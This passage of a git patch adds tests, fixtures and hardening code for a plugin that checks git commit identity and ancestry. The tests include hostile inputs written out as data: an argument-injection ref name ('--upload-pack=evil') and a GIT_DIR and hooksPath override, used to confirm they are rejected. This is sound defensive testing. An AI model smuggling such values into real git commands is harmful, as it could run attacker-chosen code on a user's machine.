'2020-01-01T00:00:00Z', + GIT_COMMITTER_DATE: '2020-01-01T00:00:00Z', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function validRequest(overrides = {}) { + const repository = overrides.repository ?? { + path: overrides.path, + base_sha: overrides.base_sha, + }; + const request = { + repository, + expected_base_ref: overrides.expected_base_ref ?? BASE_REF, + candidate_head_sha: overrides.candidate_head_sha ?? overrides.head_sha, + run_id: overrides.run_id ?? RUN_ID, + assignment_id: overrides.assignment_id ?? ASSIGNMENT_ID, + sequence: overrides.sequence ?? 0, + }; + for (const key of Object.keys(overrides)) { + if (key === 'path' || key === 'base_sha' || key === 'head_sha') continue; + request[key] = overrides[key]; + } + return request; +} + +function runFixtureGit(cwd, args, env = FIXTURE_ENV) { + return new Promise((resolve, reject) => { + const child = spawn(GIT, args, { + cwd, + env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdoutChunks = []; + const stderrChunks = []; + child.stdout.on('data', (chunk) => stdoutChunks.push(chunk)); + child.stderr.on('data', (chunk) => stderrChunks.push(chunk)); + child.on('error', reject); + child.on('close', (code) => { + const stdout = Buffer.concat(stdoutChunks).toString('utf8').trim(); + const stderr = Buffer.concat(stderrChunks).toString('utf8').trim(); + if (code !== 0) { + const error = new Error(`fixture git failed: ${args.join(' ')}`); + error.stdout = stdout; + error.stderr = stderr; + error.code = code; + reject(error); + return; + } + resolve(stdout); + }); + }); +} + +async function emptyRepo(prefix) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await runFixtureGit(root, ['-c', 'init.defaultBranch=main', 'init', '--initial-branch=main']); + return root; +} + +async function commit(root, message, fileName = 'file.txt', contents = message) { + await writeFile(path.join(root, fileName), `${root}\n${contents}\n`, 'utf8'); + await runFixtureGit(root, ['add', '--', fileName]); + await runFixtureGit(root, ['commit', '-m', `${message} ${root}`]); + return runFixtureGit(root, ['rev-parse', 'HEAD']); +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +export async function createLinearRepo() { + const root = await emptyRepo('p14-linear-'); + const baseSha = await commit(root, 'base', 'base.txt', 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const headSha = await commit(root, 'head', 'head.txt', 'head'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { commits: [baseSha, headSha] } }); +} + +export async function createStaleBaseRepo() { + const root = await emptyRepo('p14-stale-'); + const expectedBaseSha = await commit(root, 'expected-base', 'a.txt', 'a'); + const currentBaseSha = await commit(root, 'moved-base', 'b.txt', 'b'); + return wrap(root, { + baseSha: expectedBaseSha, + headSha: currentBaseSha, + extra: { currentBaseSha }, + }); +} + +export async function createRewrittenHistoryRepo() { + const root = await emptyRepo('p14-rewrite-'); + const expectedBaseSha = await commit(root, 'original-base', 'orig.txt', 'orig'); + await runFixtureGit(root, ['branch', '--', 'keep-original']); + await runFixtureGit(root, ['checkout', '--orphan', 'rewritten']); + await runFixtureGit(root, ['rm', '-rf', '--', '.']); + const rewrittenSha = await commit(root, 'rewritten-root', 'new.txt', 'new'); + await runFixtureGit(root, ['checkout', '-B', 'main', rewrittenSha]); + return wrap(root, { + baseSha: expectedBaseSha, + headSha: rewrittenSha, + extra: { rewrittenSha }, + }); +} + +export async function createUnreachableHeadRepo() { + const root = await emptyRepo('p14-unreach-'); + const baseSha = await commit(root, 'base', 'base.txt', 'base'); + await runFixtureGit(root, ['checkout', '--orphan', 'side']); + const sideSha = await commit(root, 'side', 'side.txt', 'side'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, + headSha: sideSha, + extra: { sideSha }, + }); +} + +export async function createWrongMergeBaseRepo() { + const root = await emptyRepo('p14-mergebase-'); + const rootSha = await commit(root, 'root', 'root.txt', 'root'); + await runFixtureGit(root, ['checkout', '-b', 'left']); + const leftSha = await commit(root, 'left', 'left.txt', 'left'); + await runFixtureGit(root, ['checkout', '-B', 'main', leftSha]); + await runFixtureGit(root, ['checkout', '-b', 'right', rootSha]); + const rightSha = await commit(root, 'right', 'right.txt', 'right'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha: leftSha, + headSha: rightSha, + extra: { rootSha, leftSha, rightSha }, + }); +} + +export async function createReplaceRefRepo() { + const repo = await createLinearRepo(); + const tree = await runFixtureGit(repo.path, ['rev-parse', 'HEAD^{tree}']); + const forged = await runFixtureGit(repo.path, [ + 'commit-tree', tree, '-m', 'forged-replace', + ]); + await runFixtureGit(repo.path, ['replace', repo.baseSha, forged]); + repo.extra = { ...repo.extra, forged }; + return repo; +} + +export async function createGraftsRepo() { + const repo = await createLinearRepo(); + const graftsDir = path.join(repo.path, '.git', 'info'); + await mkdir(graftsDir, { recursive: true }); + await writeFile( + path.join(graftsDir, 'grafts'), + `${repo.headSha} ${'0'.repeat(40)}\n`, + 'utf8', + ); + return repo; +} + +export async function createDetachedHeadRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['checkout', '--detach', repo.headSha]); + return repo; +} + +export async function createUnbornRepo() { + const root = await emptyRepo('p14-unborn-'); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} + +export async function createNonCommitHeadRepo() { + const repo = await createLinearRepo(); + const treeSha = await runFixtureGit(repo.path, ['rev-parse', 'HEAD^{tree}']); + repo.extra = { ...repo.extra, treeSha }; + repo.headSha = treeSha; + return repo; +} + +export async function createSymbolicRefDriftRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['symbolic-ref', 'refs/heads/alias', BASE_REF]); + repo.extra = { ...repo.extra, alias: 'refs/heads/alias' }; + return repo; +} + +export async function createMissingRepoPath() { + const root = await mkdtemp(path.join(tmpdir(), 'p14-missing-')); + await rm(root, { recursive: true, force: true }); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} + +export async function createNonGitDirectory() { + const root = await mkdtemp(path.join(tmpdir(), 'p14-nongit-')); + await writeFile(path.join(root, 'readme.txt'), 'not a git repo\n', 'utf8'); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} diff --git a/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs new file mode 100644 index 0000000..ff06122 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs @@ -0,0 +1,189 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + createDetachedHeadRepo, + createGraftsRepo, + createNonCommitHeadRepo, + createReplaceRefRepo, + createRewrittenHistoryRepo, + createStaleBaseRepo, + createSymbolicRefDriftRepo, + createUnbornRepo, + createUnreachableHeadRepo, + createWrongMergeBaseRepo, + trapTotal, + validRequest, +} from './fixtures/r1-git-identity-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +test('live proxies are denied with zero traps on the request surface', async () => { + const { proxy, counts } = countingProxy(validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + })); + assert.equal((await errorOf(() => parseGitIdentityRequestV1(proxy))).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + assert.equal((await errorOf(() => verifyGitIdentityV1(proxy))).code, 'proxy_denied'); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', async () => { + const { proxy, revoke } = Proxy.revocable(validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = await errorOf(() => parseGitIdentityRequestV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', async () => { + let reads = 0; + const input = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(input, 'expected_base_ref', { + enumerable: true, + get() { + reads += 1; + return 'refs/heads/main'; + }, + }); + const error = await errorOf(() => parseGitIdentityRequestV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('detached, unborn, non-commit, and symbolic-ref drift fail closed', async (t) => { + const detached = await createDetachedHeadRepo(); + t.after(() => detached.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: detached.path, base_sha: detached.baseSha, head_sha: detached.headSha, + })))).code, 'detached_ref_denied'); + + const unborn = await createUnbornRepo(); + t.after(() => unborn.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: unborn.path, base_sha: unborn.baseSha, head_sha: unborn.headSha, + })))).code, 'unborn_ref_denied'); + + const treeHead = await createNonCommitHeadRepo(); + t.after(() => treeHead.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: treeHead.path, base_sha: treeHead.baseSha, head_sha: treeHead.extra.treeSha, + })))).code, 'non_commit_object'); + + const drift = await createSymbolicRefDriftRepo(); + t.after(() => drift.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: drift.path, + base_sha: drift.baseSha, + head_sha: drift.headSha, + expected_base_ref: 'refs/heads/alias', + })))).code, 'symbolic_ref_drift'); +}); + +test('replace refs and grafts fail closed as poisoned observations', async (t) => { + const replaced = await createReplaceRefRepo(); + t.after(() => replaced.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: replaced.path, base_sha: replaced.baseSha, head_sha: replaced.headSha, + })))).code, 'replace_refs_denied'); + + const grafted = await createGraftsRepo(); + t.after(() => grafted.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: grafted.path, base_sha: grafted.baseSha, head_sha: grafted.headSha, + })))).code, 'grafts_denied'); +}); + +test('stale base history is parent-failing and records an integrity discrepancy', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('stale-base'), true); + assert.equal(result.observation.base_sha, repo.extra.currentBaseSha); + assert.notEqual(result.observation.base_sha, repo.baseSha); + assert.equal(result.facts[0].status, 'failed'); + assert.equal(result.facts[0].payload.base_sha, repo.baseSha); + parseVerifiedFactV1(result.facts[0]); + parseEvidenceDiscrepancyV1(result.discrepancies[0]); +}); + +test('rewritten history is parent-failing and does not verify ancestry', async (t) => { + const repo = await createRewrittenHistoryRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('rewritten-history'), true); + assert.equal(result.observation.ancestor, false); + assert.equal(result.facts[0].status, 'failed'); + parseVerifiedFactV1(result.facts[0]); + parseVerifiedFactV1(result.facts[1]); +}); + +test('unreachable heads and wrong merge bases fail closed with P13 discrepancies', async (t) => { + const unreachable = await createUnreachableHeadRepo(); + t.after(() => unreachable.cleanup()); + const unreachableResult = await verifyGitIdentityV1(validRequest({ + path: unreachable.path, base_sha: unreachable.baseSha, head_sha: unreachable.headSha, + })); + assert.equal(unreachableResult.status, 'failed'); + assert.equal(discrepancyIds(unreachableResult).includes('unreachable-head'), true); + assert.equal(unreachableResult.observation.ancestor, false); + + const diverged = await createWrongMergeBaseRepo(); + t.after(() => diverged.cleanup()); + const divergedResult = await verifyGitIdentityV1(validRequest({ + path: diverged.path, base_sha: diverged.baseSha, head_sha: diverged.headSha, + })); + assert.equal(divergedResult.status, 'failed'); + const ids = discrepancyIds(divergedResult); + assert.equal(ids.includes('wrong-merge-base'), true); + assert.equal(ids.includes('unreachable-head'), true); + assert.notEqual(divergedResult.observation.merge_base_sha, diverged.baseSha); + parseEvidenceDiscrepancyV1(divergedResult.discrepancies[0]); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-identity.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs new file mode 100644 index 0000000..efb5199 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-identity.test.mjs @@ -0,0 +1,250 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + GIT_IDENTITY_ERROR_CODES, + GIT_IDENTITY_SCHEMA_ID, + GIT_IDENTITY_VERSION, + MAX_GIT_OUTPUT_BYTES, + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_ID, + BASE_REF, + RUN_ID, + createLinearRepo, + createMissingRepoPath, + createNonGitDirectory, + validRequest, +} from './fixtures/r1-git-identity-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +test('schema identity is additive v1 and does not claim later-wave ownership', () => { + assert.equal(GIT_IDENTITY_SCHEMA_ID, 'codex-co-engineer.git-identity.v1'); + assert.equal(GIT_IDENTITY_VERSION, 1); + assert.equal(GIT_EXECUTABLE, '/usr/bin/git'); + assert.equal(Object.isFrozen(GIT_IDENTITY_ERROR_CODES), true); + assert.equal(GIT_IDENTITY_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid request parses into a frozen detached snapshot', () => { + const input = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + const snapshot = parseGitIdentityRequestV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.repository), true); + assert.equal(snapshot.expected_base_ref, BASE_REF); + assert.equal(snapshot.run_id, RUN_ID); + assert.equal(snapshot.assignment_id, ASSIGNMENT_ID); + input.expected_base_ref = 'refs/heads/other'; + input.repository.base_sha = 'c'.repeat(40); + assert.equal(snapshot.expected_base_ref, BASE_REF); + assert.equal(snapshot.repository.base_sha, 'a'.repeat(40)); +}); + +test('required keys, extra keys, and hostile base refs fail closed', async () => { + const base = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + assert.equal( + (await errorOf(() => parseGitIdentityRequestV1({ ...base, extra: true }))).code, + 'unknown_key', + ); + const missing = { ...base }; + delete missing.candidate_head_sha; + assert.equal( + (await errorOf(() => parseGitIdentityRequestV1(missing), 'git_identity.candidate_head_sha')).code, + 'missing_key', + ); + for (const name of [ + 'HEAD', 'refs/heads/HEAD', '-n', '--upload-pack=evil', 'refs/replace/x', + 'refs/heads/foo..bar', 'refs/heads/foo.lock', 'refs/heads/@{u}', + 'main', 'refs/tags/v1', 'refs/heads/foo^2', 'refs/heads/foo:path', + ]) { + const error = await errorOf(() => parseGitIdentityRequestV1({ + ...base, expected_base_ref: name, + }), 'git_identity.expected_base_ref'); + assert.ok( + error.code === 'hostile_name_denied' || error.code === 'invalid_format', + name, + ); + assert.equal(error.message.includes(name), false, name); + } +}); + +test('a linear descendant verifies independently into P13 git facts', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + assert.equal(result.schema, GIT_IDENTITY_SCHEMA_ID); + assert.equal(result.status, 'verified'); + assert.equal(result.discrepancies.length, 0); + assert.equal(result.facts.length, 2); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.merge_base_sha, repo.baseSha); + assert.equal(result.observation.ancestor, true); + assert.equal(result.observation.base_object_type, 'commit'); + assert.equal(result.observation.head_object_type, 'commit'); + assert.equal(result.facts[0].fact_kind, 'git_identity'); + assert.equal(result.facts[0].status, 'verified'); + assert.equal(result.facts[0].authority, 'platform_git'); + assert.equal(result.facts[0].method, 'ancestry_check'); + assert.equal(result.facts[0].payload.base_sha, repo.baseSha); + assert.equal(result.facts[0].payload.head_sha, repo.headSha); + assert.equal(result.facts[1].fact_kind, 'head_sha'); + assert.equal(result.facts[1].payload.sha, repo.headSha); + assert.deepEqual(parseVerifiedFactV1({ ...result.facts[0] }).payload, result.facts[0].payload); + assert.equal(Object.isFrozen(result), true); + assert.equal(Object.isFrozen(result.facts), true); + assert.equal(Object.isFrozen(result.observation), true); +}); + +test('missing and non-git repositories fail closed without echoing paths', async (t) => { + const missing = await createMissingRepoPath(); + t.after(() => missing.cleanup()); + const missingError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: missing.path, + base_sha: missing.baseSha, + head_sha: missing.headSha, + }))); + assert.equal(missingError.code, 'repository_missing'); + assert.equal(missingError.message.includes(missing.path), false); + + const nongit = await createNonGitDirectory(); + t.after(() => nongit.cleanup()); + const invalid = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: nongit.path, + base_sha: nongit.baseSha, + head_sha: nongit.headSha, + }))); + assert.equal(invalid.code, 'repository_invalid'); + assert.equal(invalid.message.includes(nongit.path), false); +}); + +test('git runs as argv without shell and with a closed environment', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const calls = []; + const previousGitDir = process.env.GIT_DIR; + const previousConfig = process.env.GIT_CONFIG_PARAMETERS; + process.env.GIT_DIR = '/tmp/hostile-git-dir'; + process.env.GIT_CONFIG_PARAMETERS = "'core.hooksPath=/tmp/hooks'"; + try { + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + }), { + spawn(command, args, options) { + calls.push({ command, args, options }); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + if (previousGitDir === undefined) delete process.env.GIT_DIR; + else process.env.GIT_DIR = previousGitDir; + if (previousConfig === undefined) delete process.env.GIT_CONFIG_PARAMETERS; + else process.env.GIT_CONFIG_PARAMETERS = previousConfig; + } + assert.ok(calls.length > 0); + for (const call of calls) { + assert.equal(call.command, GIT_EXECUTABLE); + assert.equal(call.options.cwd, '/'); + assert.equal(call.options.env, GIT_CLOSED_ENV); + assert.equal(Object.hasOwn(call.options.env, 'GIT_DIR'), false); + assert.equal(Object.hasOwn(call.options.env, 'GIT_CONFIG_PARAMETERS'), false); + assert.equal(call.options.shell, undefined); + assert.equal(Array.isArray(call.args), true); + assert.equal(call.args.some((arg) => arg.includes('&&') || arg.includes('|') || arg.includes(';')), false); + } +}); + +test('independent repositories verify concurrently without sharing observation', async (t) => { + const left = await createLinearRepo(); + const right = await createLinearRepo(); + t.after(() => Promise.all([left.cleanup(), right.cleanup()])); + const [leftResult, rightResult] = await Promise.all([ + verifyGitIdentityV1(validRequest({ + path: left.path, base_sha: left.baseSha, head_sha: left.headSha, + })), + verifyGitIdentityV1(validRequest({ + path: right.path, base_sha: right.baseSha, head_sha: right.headSha, + })), + ]); + assert.equal(leftResult.status, 'verified'); + assert.equal(rightResult.status, 'verified'); + assert.equal(leftResult.observation.repository_path, left.path); + assert.equal(rightResult.observation.repository_path, right.path); + assert.notEqual(left.baseSha, right.baseSha); + assert.notEqual(leftResult.facts[0].payload.base_sha, rightResult.facts[0].payload.base_sha); +}); + +test('output bounds kill hostile git writers without reflecting content', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + }), { + spawn() { + return nodeSpawn('/usr/bin/yes', ['x'.repeat(64)], { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + }); + }, + })); + assert.equal(error.code, 'bounds_exceeded'); + assert.equal(error.message.includes('x'.repeat(16)), false); + assert.ok(MAX_GIT_OUTPUT_BYTES > 0); +}); + +test('verified facts stay EvidenceBundle-compatible without proof artifacts', async (t) => { + const repo = await createLinearRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + })); + const identity = parseVerifiedFactV1(result.facts[0]); + const head = parseVerifiedFactV1(result.facts[1]); + assert.equal(identity.fact_kind, 'git_identity'); + assert.equal(head.fact_kind, 'head_sha'); + assert.equal(identity.artifact_digests.length, 0); + assert.equal(result.discrepancies.length, 0); + assert.equal(typeof parseEvidenceDiscrepancyV1, 'function'); +}); From 43732b46970dacd7967c0712d7cefe1a98ad76ca Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 08:48:51 +0000 Subject: [PATCH 55/81] fix(verify): close hostile Git provenance boundaries --- .../codex-co-engineer/mcp/v3/git-identity.mjs | 625 +++++++++++++++--- .../fixtures/r1-git-identity-fixtures.mjs | 202 +++++- .../test/r1-git-identity-adversarial.test.mjs | 570 ++++++++++++++++ .../test/r1-git-identity.test.mjs | 16 + 4 files changed, 1333 insertions(+), 80 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs index df6ce02..8458757 100644 --- a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs +++ b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs @@ -14,13 +14,21 @@ // Observation is fail-closed: spawn is argv-only (no shell), the child // environment is a closed map that cannot inherit GIT_* / config / replace / // graft influence, output/time/command counts are bounded, and typed errors -// never echo hostile bytes. +// never echo hostile bytes. Effective local, worktree, include, and includeIf +// config is observed through Git-native listing before ref/object/ancestry +// reads and again before a verified result is returned. import { Buffer as NodeBuffer } from 'node:buffer'; import { spawn as nodeSpawn } from 'node:child_process'; import { createHash } from 'node:crypto'; -import { lstat as nodeLstat, realpath as nodeRealpath } from 'node:fs/promises'; +import { + lstat as nodeLstat, + readdir as nodeReaddir, + readFile as nodeReadFile, + realpath as nodeRealpath, +} from 'node:fs/promises'; import path from 'node:path'; +import { types as utilTypes } from 'node:util'; import { parseEvidenceDiscrepancyV1, @@ -29,14 +37,15 @@ import { MAX_SEQUENCE, } from './evidence-bundle.mjs'; import { + capturedDescriptor, capturedFreeze, capturedHasOwn, + capturedOwnKeys, capturedUtf8ByteLength, } from './grammar.mjs'; import { canonicalJsonStringify } from './identity.mjs'; import { RunContractV1Error, - assertAllowedKeys, assertBaseSha, assertRepositoryPath, assertRunId, @@ -108,27 +117,43 @@ const OBJECT_FREEZE = Object.freeze; const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; const MATH_FLOOR = Math.floor; const MATH_MAX = Math.max; +const MATH_MIN = Math.min; const ARRAY_IS_ARRAY = Array.isArray; const ARRAY_PUSH = Array.prototype.push; const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); const CRYPTO_CREATE_HASH = createHash; const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); const HASH_UPDATE = HASH_PROTOTYPE.update; const HASH_DIGEST = HASH_PROTOTYPE.digest; const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_JOIN = path.join; const PATH_RESOLVE = path.resolve; const SPAWN = nodeSpawn; const LSTAT = nodeLstat; +const READDIR = nodeReaddir; +const READFILE = nodeReadFile; const REALPATH = nodeRealpath; const REFLECT_APPLY = Reflect.apply; +const IS_PROXY = utilTypes.isProxy; +const MAX_LAYOUT_FILE_BYTES = 4096; +const MAX_CONFIG_FILE_BYTES = 65_536; +const PROVENANCE_CONFIG_PATTERN = /(?:^|\n)[ \t]*(?:promisor|partialclonefilter|partialclone)[ \t]*=/u; +const EFFECTIVE_PROVENANCE_KEY_PATTERN = + /^(?:extensions\.partialclone|remote\..+\.(?:promisor|partialclonefilter))$/iu; +const EFFECTIVE_CONFIG_LIST_ARGS = capturedFreeze([ + 'config', '--includes', '--show-origin', '--show-scope', '--list', '-z', +]); const CLOSED_GIT_ENV = capturedFreeze({ PATH: '/usr/bin:/bin', GIT_CONFIG_NOSYSTEM: '1', GIT_CONFIG_GLOBAL: '/dev/null', GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_PROTOCOL_FROM_USER: '0', GIT_TERMINAL_PROMPT: '0', GIT_OPTIONAL_LOCKS: '0', GIT_PAGER: 'cat', @@ -160,6 +185,381 @@ const FORBIDDEN_ENV_KEYS = capturedFreeze([ export const GIT_CLOSED_ENV = CLOSED_GIT_ENV; +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); +} + +function asContractError(error, path, code = 'git_execution_failed') { + if (error instanceof RunContractV1Error) return error; + return contractError(code, path, `${path} could not complete a git observation.`); +} + +function isSymlinkStat(metadata) { + return typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink(); +} + +function assertOwnedHandle(value, path) { + if (value === null || (typeof value !== 'object' && typeof value !== 'function')) { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + if (IS_PROXY(value)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; git observation accepts owned process handles only.`); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function readHandleField(handle, key, path) { + assertOwnedHandle(handle, path); + let value; + try { + value = handle[key]; + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + if (value !== null && value !== undefined + && (typeof value === 'object' || typeof value === 'function')) { + assertOwnedHandle(value, path); + } + return value; +} + +function invokeHandle(handle, key, args, path) { + const method = readHandleField(handle, key, path); + if (typeof method !== 'function') { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + return REFLECT_APPLY(method, handle, args); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function ownedChunk(chunk, path) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + fail('git_execution_failed', path, `${path} could not complete a git observation.`); +} + +function assertClosedKeySet(input, allowedKeys, path) { + let ownKeys; + try { + ownKeys = capturedOwnKeys(input); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + fail('symbol_key_denied', path, + `${path} carries a symbol property; git identity records are direct JSON only.`); + } + let allowed = false; + for (let allowedIndex = 0; allowedIndex < allowedKeys.length; allowedIndex += 1) { + if (allowedKeys[allowedIndex] === key) { + allowed = true; + break; + } + } + if (!allowed) { + fail('unknown_key', path, `${path} carries a key outside the closed vocabulary.`); + } + } +} + +function assertNestedClosedKeys(input, key, allowedKeys, path) { + const descriptor = capturedDescriptor(input, key); + if (descriptor === undefined) return; + if (descriptor.get !== undefined || descriptor.set !== undefined) return; + const value = descriptor.value; + if (value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) return; + try { + if (IS_PROXY(value)) return; + } catch { + return; + } + assertClosedKeySet(value, allowedKeys, `${path}.${key}`); +} + +async function lstatOrNull(target) { + try { + return await 